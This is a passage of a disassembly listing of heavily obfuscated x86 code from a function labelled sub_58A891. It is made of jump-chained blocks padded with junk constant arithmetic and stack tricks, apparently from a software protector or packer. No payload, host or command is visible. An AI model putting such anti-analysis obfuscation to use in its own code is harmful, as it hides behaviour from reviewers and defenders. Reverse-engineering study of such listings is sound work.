		mov	ecx, edx
		pop	edx
		jmp	loc_5980BC
; ---------------------------------------------------------------------------


loc_595143:				; CODE XREF: sub_58A891+DA8Dj
		add	al, ch
		jmp	loc_59B0F9
; ---------------------------------------------------------------------------


loc_59514A:				; CODE XREF: sub_58A891+9589j
		pop	edi
		push	esi
		push	[esp+4Ch+var_4A+2]
		pop	esi
		pop	[esp+4Ch+var_4E+2]
		mov	esp, [esp+48h+var_4A+2]
		ror	byte ptr [esp+48h+var_4A+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595160:				; CODE XREF: sub_58A891+10150j
		mov	ah, 0A5h
		sub	ah, 0FFh
		shl	ah, 6
		not	ah
		inc	ah
		neg	ah
		push	edx
		mov	dl, 0A9h
		jmp	loc_592B5F
; ---------------------------------------------------------------------------


loc_595176:				; CODE XREF: sub_58A891:loc_599395j
		xor	esi, 2FD15A98h
		add	esi, 1E89235Ah
		jg	loc_595E3C
		jmp	loc_595CA6
; ---------------------------------------------------------------------------
		mov	[esp+0], ecx
		mov	ebx, edi
		sub	al, 0F7h


loc_595194:				; CODE XREF: sub_58A891+DAE8j
		add	esi, 5E3E2D41h
		sub	esi, ebp
		sub	esi, 5E3E2D41h
		jmp	loc_591AB1
; ---------------------------------------------------------------------------


loc_5951A7:				; CODE XREF: sub_58A891+A7B1j
					; sub_58A891+EE83j ...
		pop	esp
		movzx	ecx, ax
		push	43B6h
		mov	[esp+66h+var_68+2], ecx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5951B8:				; CODE XREF: sub_58A891+D19Fj
		mov	[esp+66h+var_68+2], ebp
		jmp	loc_59B97F
; ---------------------------------------------------------------------------


loc_5951C0:				; CODE XREF: sub_58A891+A34Ej
		shr	[esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5951C9:				; CODE XREF: sub_58A891+562Fj
		pop	[esp+14h+var_14]
		jmp	loc_590810
; ---------------------------------------------------------------------------


loc_5951D1:				; CODE XREF: sub_58A891+51B2j
		push	edi
		mov	edi, 3C9E2897h
		sub	edi, 1DFD7D84h
		shr	edi, 6
		dec	edi
		jmp	loc_59059A
; ---------------------------------------------------------------------------


loc_5951E6:				; CODE XREF: sub_58A891+834Cj
		add	ebp, esi
		sub	ebp, 34123FDCh
		pop	esi
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ebp
		push	[esp+4Ch+var_4A+2]
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_595DC5
; ---------------------------------------------------------------------------


loc_595204:				; CODE XREF: sub_58A891+53E2j
		dec	esi
		js	loc_591E31
		xor	esi, 675E6F24h
		mov	edx, esi
		jmp	loc_592A6B
; ---------------------------------------------------------------------------


loc_595218:				; CODE XREF: sub_58A891+CD40j
		sub	ebx, 4
		xchg	ebx, [esp+44h+var_46+2]
		jmp	loc_594841
; ---------------------------------------------------------------------------


loc_595226:				; CODE XREF: sub_58A891+E0B8j
		push	dword ptr [edi+eax*4]
		push	[esp+48h+var_4A+2]
		push	[esp+4Ch+var_4E+2]
		jmp	loc_58EEFE
; ---------------------------------------------------------------------------


loc_595234:				; CODE XREF: sub_58A891+8706j
		movzx	cx, al
		jmp	loc_59AF87
; ---------------------------------------------------------------------------


loc_59523D:				; CODE XREF: sub_58A891+5492j
		jmp	loc_59BB36
; ---------------------------------------------------------------------------


loc_595242:				; CODE XREF: sub_58A891+A5A2j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595247:				; CODE XREF: sub_58A891+47EEj
		mov	eax, esp
		sub	esp, 4
		mov	[esp+30h+var_30], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+30h+var_30]
		add	esp, 4
		push	6144h
		mov	[esp+30h+var_30], eax
		push	[esp+30h+var_2C]
		mov	eax, [esp+34h+var_34]
		push	ecx
		mov	ecx, esp
		jmp	loc_5992AB
; ---------------------------------------------------------------------------


loc_59527C:				; CODE XREF: sub_58A891+7B40j
		mov	[esp+2Ch+var_2C], ebx
		push	[esp+2Ch+var_28]
		jmp	loc_5999DB
; ---------------------------------------------------------------------------


loc_595288:				; CODE XREF: sub_58A891+AC1Aj
		and	edx, 3B710368h
		push	ecx
		jmp	loc_595A3B
; ---------------------------------------------------------------------------


loc_595294:				; DATA XREF: sub_58A891+3A37o
		movzx	ax, byte ptr [edx]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		push	ebx
		mov	ebx, 133A080Eh
		or	ebx, 22446E0Bh
		neg	ebx
		sub	ebx, 1E64DECh
		sub	ebx, 3D460D66h
		jmp	loc_593A79
; ---------------------------------------------------------------------------


loc_5952C1:				; CODE XREF: sub_58A891+E07Ej
		xor	edi, 3481033Ch
		or	edi, 4D716E2Dh
		push	ebx
		mov	ebx, 632C029Ch
		inc	ebx
		shl	ebx, 4
		inc	ebx
		and	ebx, 4B800B41h
		sub	ebx, 0C469F06Eh
		add	edi, ebx
		pop	ebx
		sub	edx, edi
		pop	edi
		push	ecx
		jmp	loc_595E79
; ---------------------------------------------------------------------------


loc_5952F0:				; CODE XREF: sub_58A891+FEDBj
		mov	ebx, 6B6CF2h
		xor	ebx, esi
		jmp	loc_59116D
; ---------------------------------------------------------------------------


loc_5952FC:				; CODE XREF: sub_58A891+5E52j
		push	edi
		push	edx
		push	79416C32h
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_591866
; ---------------------------------------------------------------------------


loc_595311:				; CODE XREF: sub_58A891+9D68j
		add	ecx, 576A3393h
		pop	eax
		add	ecx, 2
		jmp	loc_59132C
; ---------------------------------------------------------------------------


loc_595320:				; CODE XREF: sub_58A891+9A02j
		mov	esi, 41652E43h
		jmp	loc_59A804
; ---------------------------------------------------------------------------


loc_59532A:				; CODE XREF: sub_58A891+6107j
		mov	[esp+0], ebx
		mov	bl, 0CAh
		shr	bl, 3
		neg	bl
		jmp	loc_5960C8
; ---------------------------------------------------------------------------


loc_595339:				; DATA XREF: sub_58A891+39EBo
		sub	esp, 4
		jmp	loc_5949FB
; ---------------------------------------------------------------------------


loc_595341:				; CODE XREF: sub_58A891+42B8j
		not	ebp
		push	esi
		jmp	loc_596328
; ---------------------------------------------------------------------------


loc_595349:				; CODE XREF: sub_58A891+D4BEj
		push	edi
		jmp	loc_596274
; ---------------------------------------------------------------------------


loc_59534F:				; CODE XREF: sub_58A891+AEE5j
		push	1BDFh
		jmp	loc_5922EB
; ---------------------------------------------------------------------------


loc_595359:				; CODE XREF: sub_58A891+E75Fj
					; sub_58A891+FE12j
		mov	bl, 0B2h
		sub	al, bl
		pop	ebx
		jmp	loc_5904DC
; ---------------------------------------------------------------------------


loc_595363:				; CODE XREF: sub_58A891+BA76j
		mov	edx, 4
		sub	ebp, 6C98073Dh
		jmp	loc_58F6F8
; ---------------------------------------------------------------------------


loc_595373:				; CODE XREF: sub_58A891+97F4j
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		jmp	loc_590CB4
; ---------------------------------------------------------------------------


loc_595380:				; CODE XREF: sub_58A891+8E56j
		pop	dword ptr [esp+0]
		mov	esp, [esp+4Ch+var_4E+2]
		mov	ax, word ptr [esp+4Ch+var_4E+2]
		jmp	loc_59B2DF
; ---------------------------------------------------------------------------


loc_59538F:				; DATA XREF: sub_58A891+3BFBo
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_59061F
; ---------------------------------------------------------------------------


loc_595398:				; CODE XREF: sub_58A891+7523j
					; sub_58A891+E84Ej
		pop	edi
		jmp	loc_598FD3
; ---------------------------------------------------------------------------


loc_59539E:				; CODE XREF: sub_58A891+3D15j
		pop	ebp
		xor	eax, esi
		jmp	loc_58F30D
; ---------------------------------------------------------------------------


loc_5953A6:				; CODE XREF: sub_58A891+8D29j
		push	4902h
		mov	[esp+1Ch+var_1C], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1C]
		jmp	loc_59BC23
; ---------------------------------------------------------------------------


loc_5953C4:				; CODE XREF: sub_58A891+E593j
					; sub_58A891+10259j
		push	ebx
		mov	ebx, esp
		push	ecx
		push	edi
		push	ecx
		jmp	loc_5948CC
; ---------------------------------------------------------------------------


loc_5953CF:				; CODE XREF: sub_58A891:loc_595C70j
					; sub_58A891:loc_59B0A9j
		dec	ah
		jno	loc_592FC6
		jmp	loc_58F084
; ---------------------------------------------------------------------------
		push	3820086Fh


loc_5953E1:				; CODE XREF: sub_58A891+5805j
					; sub_58A891+59D4j ...
		add	edi, 4
		xchg	edi, [esp+30h+var_30]
		pop	esp
		add	edi, 4
		push	ebp
		jmp	loc_5937B3
; ---------------------------------------------------------------------------


loc_5953F4:				; CODE XREF: sub_58A891+CEA8j
		xchg	ebx, [esp+30h+var_30]
		jmp	loc_592003
; ---------------------------------------------------------------------------


loc_5953FC:				; CODE XREF: sub_58A891+C331j
		add	esp, 4
		jmp	loc_599F41
; ---------------------------------------------------------------------------


loc_595404:				; CODE XREF: sub_58A891+9451j
		push	edx
		mov	edx, eax
		jmp	loc_59139C
; ---------------------------------------------------------------------------


loc_59540C:				; CODE XREF: sub_58A891+53FEj
		add	ecx, edx
		sub	ecx, 1AA35F65h
		pop	edx
		jmp	loc_5975F3
; ---------------------------------------------------------------------------


loc_59541A:				; CODE XREF: sub_58A891+D00Cj
		sub	edx, 39300DF0h
		jo	loc_592AA7
		and	edx, 553905AAh
		js	loc_591726
		or	edx, 691C3C96h
		jnp	loc_597CA4
		dec	edx
		sub	edx, 545BFA93h
		jmp	loc_591281
; ---------------------------------------------------------------------------


loc_59544A:				; DATA XREF: sub_58A891+3BA3o
		xor	word ptr [esp+8+var_8],	cx
		xor	cx, word ptr [esp+8+var_8]
		xor	word ptr [esp+8+var_8],	cx
		push	small 354Ch
		mov	word ptr [esp+0Ah+var_C+2], cx
		not	word ptr [esp+0Ah+var_C+2]
		mov	cx, word ptr [esp+0Ah+var_C+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_597259
; ---------------------------------------------------------------------------


loc_595474:				; DATA XREF: sub_58A891+3ACBo
		push	dword ptr fs:[edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59547C:				; CODE XREF: sub_58A891+D459j
		add	eax, 2
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		push	[esp+10h+var_C]
		jmp	loc_595880
; ---------------------------------------------------------------------------


loc_595491:				; CODE XREF: sub_58A891+70D9j
		add	eax, ecx
		sub	eax, 61423A8Ch
		pop	ecx
		add	eax, 7A3E50F9h
		add	eax, ebx
		sub	eax, 7A3E50F9h
		push	edx
		mov	edx, 6A6A70C4h
		jmp	loc_595288
; ---------------------------------------------------------------------------


loc_5954B0:				; CODE XREF: sub_58A891+6B06j
		mov	esi, 43AE6ACCh
		sub	esi, 43AE6AC8h
		mov	ebx, esi
		pop	esi
		add	ecx, ebx
		jmp	loc_595F15
; ---------------------------------------------------------------------------


loc_5954C5:				; CODE XREF: sub_58A891+A79Cj
		mov	[esp-8+arg_0], ecx
		mov	ecx, esp
		add	ecx, 4
		push	37CFh
		mov	[esp+0], esi
		mov	esi, 711D6522h
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 72007D10h
		jmp	loc_593F37
; ---------------------------------------------------------------------------


loc_5954ED:				; CODE XREF: sub_58A891+913Fj
		jmp	loc_595D9D
; ---------------------------------------------------------------------------


loc_5954F2:				; CODE XREF: sub_58A891+F292j
		mov	eax, 2C7C5946h
		dec	eax
		jmp	loc_598D54
; ---------------------------------------------------------------------------


loc_5954FD:				; CODE XREF: sub_58A891+8850j
		add	edx, 0D5A016A1h
		add	ecx, 0E4803A9h
		add	ecx, edx
		jmp	loc_599D85
; ---------------------------------------------------------------------------


loc_595510:				; CODE XREF: sub_58A891+65C9j
		inc	ecx
		xchg	eax, ecx
		jmp	loc_599773
; ---------------------------------------------------------------------------


loc_595517:				; CODE XREF: sub_58A891+4F43j
		xor	edx, 57B22EA0h
		push	esi
		jmp	loc_59740C
; ---------------------------------------------------------------------------


loc_595523:				; CODE XREF: sub_58A891+3CA1j
		mov	ch, 0D4h
		xor	ch, dl
		pop	edx
		xor	bl, ch
		pop	cx
		sub	al, 67h
		sub	al, bl
		push	ebx
		mov	bl, 67h
		jmp	loc_590F99
; ---------------------------------------------------------------------------


loc_595538:				; CODE XREF: sub_58A891+8E31j
		add	esp, 4
		xor	ebx, 7D34D8D4h
		add	ebp, ebx
		pop	ebx
		push	eax
		push	edx
		push	ebp
		mov	ebp, 62953E57h
		xor	ebp, 4FF2CF3h
		or	ebp, 707341D0h
		and	ebp, 41882C9Dh
		jmp	loc_599FFF
; ---------------------------------------------------------------------------


loc_595563:				; CODE XREF: sub_58A891+AEACj
		mov	eax, [esp+48h+var_4A+2]
		add	esp, 4
		add	esp, 4
		or	ebx, ebx
		jnz	loc_58E877
		push	ebx
		mov	ebx, 746E26AEh
		sub	ebx, 583961B1h
		jbe	loc_597EB5
		and	ebx, 1BD52917h
		jmp	loc_594C30
; ---------------------------------------------------------------------------


loc_595597:				; CODE XREF: sub_58A891+E276j
		js	loc_595DB4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5947F3
; ---------------------------------------------------------------------------


loc_5955AE:				; CODE XREF: sub_58A891+D3FFj
		mov	[esp+48h+var_4A+2], ecx
		push	eax
		mov	ah, 0C4h
		and	ah, 53h
		jp	loc_5939C8
		shl	ah, 2
		shl	ah, 4
		push	bx
		jmp	loc_5944C7
; ---------------------------------------------------------------------------


loc_5955CA:				; CODE XREF: sub_58A891+FD4Fj
		add	ecx, 4ED1372Ch
		pop	edx
		jmp	loc_5980C1
; ---------------------------------------------------------------------------


loc_5955D6:				; CODE XREF: sub_58A891+9255j
		add	esi, 0D3B6F3F1h
		and	eax, esi
		pop	esi
		jmp	loc_59093E
; ---------------------------------------------------------------------------


loc_5955E4:				; CODE XREF: sub_58A891+AE0Ej
		push	605Fh
		mov	[esp+3Ch+var_3C], edi
		jmp	loc_591760
; ---------------------------------------------------------------------------


loc_5955F1:				; CODE XREF: sub_58A891+FBC9j
		push	328Ah
		mov	[esp+40h+var_40], edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, 3CAF2E8Ch
		jmp	loc_59036E
; ---------------------------------------------------------------------------


loc_59560C:				; CODE XREF: sub_58A891:loc_598D54j
		jmp	loc_59A921
; ---------------------------------------------------------------------------


loc_595611:				; CODE XREF: sub_58A891+BBB9j
		and	edx, 64144B2Dh
		sub	edx, 0AA579336h
		and	esi, edx
		jmp	loc_597FCB
; ---------------------------------------------------------------------------


loc_595624:				; CODE XREF: sub_58A891+E0D7j
		mov	edi, esp
		push	esi
		jmp	loc_59B1B2
; ---------------------------------------------------------------------------


loc_59562C:				; CODE XREF: sub_58A891+10E4Cj
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], esi
		mov	esi, 4
		sub	edx, 637C791Dh
		add	edx, esi
		push	edi
		mov	edi, 637C791Dh
		add	edx, edi
		pop	edi
		pop	esi
		add	edx, 4
		xchg	edx, [esp+48h+var_4A+2]
		jmp	loc_591073
; ---------------------------------------------------------------------------


loc_595654:				; CODE XREF: sub_58A891+D345j
		sub	edx, 9F63D6h
		sub	edx, ebp
		jmp	loc_597485
; ---------------------------------------------------------------------------


loc_595661:				; CODE XREF: sub_58A891+A154j
		mov	esi, 5C557986h
		not	esi
		dec	esi
		inc	esi
		jmp	loc_593ADD
; ---------------------------------------------------------------------------


loc_59566F:				; CODE XREF: sub_58A891+5D45j
		add	ax, 2780h
		sub	ax, 5E2h
		add	bx, ax
		pop	eax
		add	ax, bx
		pop	bx
		dec	ax
		or	ax, 6655h
		add	ax, 0B369h
		jmp	loc_592584
; ---------------------------------------------------------------------------


loc_59568F:				; CODE XREF: sub_58A891+6273j
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		sub	esp, 4
		jmp	loc_59099D
; ---------------------------------------------------------------------------


loc_59569E:				; CODE XREF: sub_58A891+5C46j
		pop	ecx
		jmp	loc_5955E4
; ---------------------------------------------------------------------------


loc_5956A4:				; CODE XREF: sub_58A891+7C4Bj
		inc	esi
		sub	esi, 295D56ADh
		push	ecx
		jmp	loc_59B263
; ---------------------------------------------------------------------------


loc_5956B1:				; CODE XREF: sub_58A891+7B8Fj
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		add	eax, edi
		push	dword ptr [eax]
		pop	ecx
		pop	eax
		push	ebp
		push	eax
		push	54C6h
		jmp	loc_594633
; ---------------------------------------------------------------------------


loc_5956C9:				; CODE XREF: sub_58A891+7F3Ej
		add	ebx, edi
		jmp	loc_59A8BE
; ---------------------------------------------------------------------------


loc_5956D0:				; CODE XREF: sub_58A891+D779j
		mov	ebp, 77E3226Ch
		jmp	loc_59834B
; ---------------------------------------------------------------------------


loc_5956DA:				; CODE XREF: sub_58A891+107FDj
		sub	esp, 4
		mov	[esp+20h+var_20], eax
		jmp	loc_590F7A
; ---------------------------------------------------------------------------


loc_5956E8:				; CODE XREF: sub_58A891+D5D6j
		sub	ecx, 1D4D0F4Dh
		jnp	loc_591C64
		add	ecx, 0E3E4F2Eh
		add	ecx, 9BEB7A28h
		mov	esi, ecx
		jmp	loc_591CC5
; ---------------------------------------------------------------------------


loc_595707:				; CODE XREF: sub_58A891+5A91j
		jmp	loc_5900F0
; ---------------------------------------------------------------------------


loc_59570C:				; CODE XREF: sub_58A891+6CE1j
		add	esp, 4
		push	edx
		mov	edx, 63AA0F9Fh
		push	eax
		mov	eax, 12A40D4h
		or	edx, eax
		pop	eax
		jmp	loc_591CE2
; ---------------------------------------------------------------------------


loc_595723:				; CODE XREF: sub_58A891+88B7j
		mov	ecx, esp
		jmp	loc_592B73
; ---------------------------------------------------------------------------


loc_59572A:				; CODE XREF: sub_58A891+9645j
		mov	edx, 7BE34A78h
		jmp	loc_594562
; ---------------------------------------------------------------------------


loc_595734:				; CODE XREF: sub_58A891+B65Cj
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		and	ebx, eax
		push	[esp+0Ch+var_C]
		jmp	loc_595563
; ---------------------------------------------------------------------------


loc_595742:				; CODE XREF: sub_58A891+F1FCj
					; sub_58A891+1126Cj
		add	bl, 0F6h
		push	dx
		mov	dh, 74h
		add	bl, 8Eh
		sub	bl, dh
		sub	bl, 8Eh
		pop	dx
		sub	esp, 2
		mov	word ptr [esp+14h+var_14], dx
		mov	dh, 3Fh
		add	bl, 4
		add	bl, 0D4h
		add	bl, dh
		sub	bl, 0D4h
		sub	bl, 4
		pop	dx
		movzx	eax, al
		mov	dx, word ptr [esp+12h+var_14+2]
		jmp	loc_59534F
; ---------------------------------------------------------------------------


loc_59577B:				; DATA XREF: sub_58A891+3A93o
		mov	ax, word ptr [esp+8+var_8]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		push	edi
		jmp	loc_58EB6E
; ---------------------------------------------------------------------------


loc_59579D:				; CODE XREF: sub_58A891+104E8j
		pop	ecx
		neg	edi
		add	edi, 3D0BD0C4h
		add	ecx, edi
		pop	edi
		xor	ecx, 56419989h
		add	ebx, ecx
		pop	ecx


loc_5957B2:				; CODE XREF: sub_58A891+A0B2j
		push	6B7Fh
		mov	[esp+4+var_4], eax
		jmp	loc_5985E0
; ---------------------------------------------------------------------------


loc_5957BF:				; CODE XREF: sub_58A891+5E37j
		push	edi
		sub	[esp+1Ch+var_1C], 12A03CD4h
		mov	ebx, [esp+1Ch+var_1C]
		jmp	loc_592D00
; ---------------------------------------------------------------------------


loc_5957CF:				; CODE XREF: sub_58A891:loc_5970B3j
		sub	ah, 2Eh
		mov	cl, ah
		pop	eax
		and	al, cl
		jmp	loc_598616
; ---------------------------------------------------------------------------


loc_5957DC:				; CODE XREF: sub_58A891+5B58j
		push	690Bh
		jmp	loc_598DF1
; ---------------------------------------------------------------------------


loc_5957E6:				; CODE XREF: sub_58A891+8EFBj
		push	[esp+38h+var_38]
		pop	esi
		add	esp, 4
		jmp	loc_593C4F
; ---------------------------------------------------------------------------


loc_5957F5:				; CODE XREF: sub_58A891+615Cj
		sub	ecx, ebx
		pop	ebx
		jmp	loc_590EC9
; ---------------------------------------------------------------------------


loc_5957FD:				; CODE XREF: sub_58A891+D2C1j
		add	ebp, 0A9F0F6F6h
		jmp	loc_598AB2
; ---------------------------------------------------------------------------


loc_595808:				; CODE XREF: sub_58A891+F849j
		mov	[esp+18h+var_18], edx
		mov	esi, [esp+18h+var_18]
		jmp	loc_58FBAF
; ---------------------------------------------------------------------------


loc_595813:				; CODE XREF: sub_58A891+C6EAj
		push	54AC6EC1h
		mov	ebx, [esp+1Ch+var_1C]
		jmp	loc_59BB6D
; ---------------------------------------------------------------------------


loc_595820:				; CODE XREF: sub_58A891+66F1j
		mov	edi, 4
		add	eax, edi
		pop	edi
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	1DCDh
		mov	[esp+14h+var_14], ecx
		push	80000h
		push	[esp+18h+var_18]
		jmp	loc_599C44
; ---------------------------------------------------------------------------


loc_595849:				; CODE XREF: sub_58A891+5ABAj
		pop	ebx
		add	edi, 140A0380h
		shr	edi, 7
		sub	edi, 2F7D0D09h
		not	edi
		jmp	loc_592C58
; ---------------------------------------------------------------------------


loc_595860:				; CODE XREF: sub_58A891+7C3Fj
		mov	edx, 2380718Fh
		push	edx
		pop	esi
		pop	edx
		jmp	loc_5932A9
; ---------------------------------------------------------------------------


loc_59586D:				; CODE XREF: sub_58A891+5B33j
					; sub_58A891+5FABj
		pop	eax
		add	esp, 4
		not	dl
		dec	dl
		sub	dl, 1
		jmp	loc_595F1B
; ---------------------------------------------------------------------------


loc_595880:				; CODE XREF: sub_58A891+ABFBj
		pop	eax
		pop	[esp+10h+var_10]
		pop	esp
		imul	cl
		movzx	cx, ah
		push	57B6h
		mov	[esp+0Ch+var_C], edx
		sub	esp, 4
		push	esp
		pop	[esp+14h+var_14]
		jmp	loc_5958E4
; ---------------------------------------------------------------------------


loc_59589F:				; CODE XREF: sub_58A891+57C4j
		xor	ebp, 2B077B46h
		jg	loc_5936C7
		jmp	loc_58E663
; ---------------------------------------------------------------------------
		mov	[esp+18h+var_18], eax
		jmp	loc_593766
; ---------------------------------------------------------------------------
		mov	dh, bl


loc_5958BA:				; CODE XREF: sub_58A891+BD06j
		xor	ebp, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebp
		xor	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_5992A1
; ---------------------------------------------------------------------------


loc_5958CB:				; CODE XREF: sub_58A891+98D4j
		sub	al, 3
		pop	edx
		sub	al, 0F1h
		sub	al, 0C6h
		add	al, bl
		push	edx
		mov	dl, 0C6h
		add	al, dl
		pop	edx
		add	al, 0F1h
		push	edx
		mov	dh, 0D4h
		jmp	loc_598F6D
; ---------------------------------------------------------------------------


loc_5958E4:				; CODE XREF: sub_58A891+B009j
		add	[esp+10h+var_10], 4
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 2
		add	edx, 39E04A46h
		sub	edx, eax
		push	edi
		mov	edi, 72C052C7h
		push	ecx
		mov	ecx, 67174D75h
		or	edi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4EA610A4h
		xor	edi, ebx
		pop	ebx
		and	edi, 6123409h
		shl	edi, 2
		shl	edi, 6
		xor	edi, 29E44B46h
		sub	edx, edi
		pop	edi
		pop	eax
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59AAD1
; ---------------------------------------------------------------------------


loc_595939:				; CODE XREF: sub_58A891+C408j
					; sub_58A891+1004Fj
		mov	ecx, 0D4EE0868h
		add	esi, 7F180075h
		jmp	loc_5974F1
; ---------------------------------------------------------------------------


loc_595949:				; CODE XREF: sub_58A891+79BFj
		mov	esi, 2
		add	eax, 4E0C5209h
		add	eax, esi
		sub	eax, 4E0C5209h
		pop	esi
		jmp	loc_596DD1
; ---------------------------------------------------------------------------


loc_595960:				; CODE XREF: sub_58A891+F70Aj
		sub	al, 8Dh
		add	al, 0FCh
		add	al, 3Eh
		push	ebx
		mov	bh, 5Eh
		sub	bh, 0B3h
		add	bh, 6
		jmp	loc_59B74A
; ---------------------------------------------------------------------------


loc_595974:				; CODE XREF: sub_58A891+D593j
		add	esp, 4
		jmp	loc_59867B
; ---------------------------------------------------------------------------


loc_59597C:				; CODE XREF: sub_58A891+C9D0j
		pop	ebp
		pop	[esp+40h+var_40]
		pop	esp
		mov	[esp+38h+var_38], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_597E52
; ---------------------------------------------------------------------------


loc_595992:				; CODE XREF: sub_58A891+10F70j
		add	esp, 4
		jmp	loc_594175
; ---------------------------------------------------------------------------


loc_59599A:				; CODE XREF: sub_58A891+4B71j
		pop	ecx
		pop	edx
		mov	bl, al
		push	[esp+38h+var_38]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 79941A88h
		dec	ebx
		shl	ebx, 2
		add	ebx, 5AFE0CB6h
		or	ebx, 3F7E6F4Ch
		sub	ebx, 7F7E7FDAh
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+3Ch+var_3C]
		pop	esp
		xor	al, bl
		pop	bx
		push	dx
		mov	dl, 3Ch
		push	edx
		mov	dh, 4Ah
		jmp	loc_58F0B6
; ---------------------------------------------------------------------------


loc_5959DE:				; CODE XREF: sub_58A891+EE6Aj
		pop	ecx
		jmp	loc_5969BC
; ---------------------------------------------------------------------------


loc_5959E4:				; CODE XREF: sub_58A891+F5ACj
		mov	[esp+38h+var_38], esi
		jmp	loc_599A68
; ---------------------------------------------------------------------------


loc_5959EC:				; CODE XREF: sub_58A891+EC88j
		mov	esp, [esp+38h+var_38]
		push	ebx
		jmp	loc_58EAE4
; ---------------------------------------------------------------------------


loc_5959F5:				; CODE XREF: sub_58A891+5D18j
		push	edx
		mov	edx, 0BE6E8661h
		xor	ebx, edx
		pop	edx
		mov	edx, ebx
		mov	ebx, [esp+3Ch+var_3C]
		jmp	loc_58F780
; ---------------------------------------------------------------------------


loc_595A08:				; CODE XREF: sub_58A891+7699j
		pop	eax
		push	35B5h
		mov	[esp+4+var_4], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+8+var_8], esi
		jmp	loc_5935EB
; ---------------------------------------------------------------------------


loc_595A21:				; CODE XREF: sub_58A891+10225j
		mov	esi, [esp+8+var_8]
		jmp	loc_592736
; ---------------------------------------------------------------------------


loc_595A29:				; CODE XREF: sub_58A891+B73Ej
		push	767Eh
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 0CC16782h
		jmp	loc_5910C7
; ---------------------------------------------------------------------------


loc_595A3B:				; CODE XREF: sub_58A891:loc_594C30j
					; sub_58A891+A9FEj
		mov	ecx, 35A50E1Bh
		add	edx, ecx
		jmp	loc_5938F8
; ---------------------------------------------------------------------------


loc_595A47:				; CODE XREF: sub_58A891+B301j
		mov	[esp+0Ah+var_C+2], ecx
		push	5D483480h
		pop	ecx
		add	ecx, 23A2346Ah
		jnz	loc_59A8F0
		jmp	loc_5990D0
; ---------------------------------------------------------------------------
		shl	eax, 5
		shr	eax, 5
		mov	ch, 6Bh


loc_595A69:				; CODE XREF: sub_58A891+4B5Ej
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		add	ebx, 4
		jmp	loc_58FE60
; ---------------------------------------------------------------------------


loc_595A7D:				; CODE XREF: sub_58A891+10200j
		pop	eax
		xor	edi, [esp+38h+var_38]
		xor	[esp+38h+var_38], edi
		xor	edi, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		sub	esp, 4
		jmp	loc_590816
; ---------------------------------------------------------------------------


loc_595A95:				; CODE XREF: sub_58A891+9889j
		add	esp, 4
		push	esi
		jmp	loc_58F13D
; ---------------------------------------------------------------------------


loc_595AA1:				; CODE XREF: sub_58A891+10BEFj
		push	[esp+0Ch+var_C]
		pop	edx
		jmp	loc_5969EA
; ---------------------------------------------------------------------------


loc_595AAA:				; CODE XREF: sub_58A891+FDE3j
		push	ebp
		push	18FC274Bh
		pop	ebp
		jmp	loc_58F1DD
; ---------------------------------------------------------------------------


loc_595AB6:				; CODE XREF: sub_58A891+8F52j
					; sub_58A891+A634j
		pop	ebx
		jmp	loc_58FA7F
; ---------------------------------------------------------------------------


loc_595ABC:				; CODE XREF: sub_58A891+BA9Fj
		mov	ecx, ebp
		jmp	loc_591193
; ---------------------------------------------------------------------------


loc_595AC3:				; CODE XREF: sub_58A891+B548j
		push	ebx
		jmp	loc_597FA1
; ---------------------------------------------------------------------------


loc_595AC9:				; DATA XREF: sub_58A891+3A63o
		lodsb
		push	627Fh
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_592014
; ---------------------------------------------------------------------------


loc_595AD7:				; CODE XREF: sub_58A891+74AEj
		and	esi, 667C6700h
		jz	loc_59058A
		add	esi, 0F164EC3h
		sub	esi, 2FF11BDCh
		jmp	loc_59B1F4
; ---------------------------------------------------------------------------


loc_595AF4:				; CODE XREF: sub_58A891+4D05j
		add	bh, 7
		jmp	loc_5992F9
; ---------------------------------------------------------------------------


loc_595AFC:				; CODE XREF: sub_58A891+FB1Aj
		and	esi, 2CD46A55h
		add	esi, 13C227E7h
		push	esi
		sub	[esp+40h+var_40], 16748E6h
		mov	ecx, [esp+40h+var_40]
		add	esp, 4
		add	ecx, 16748E6h
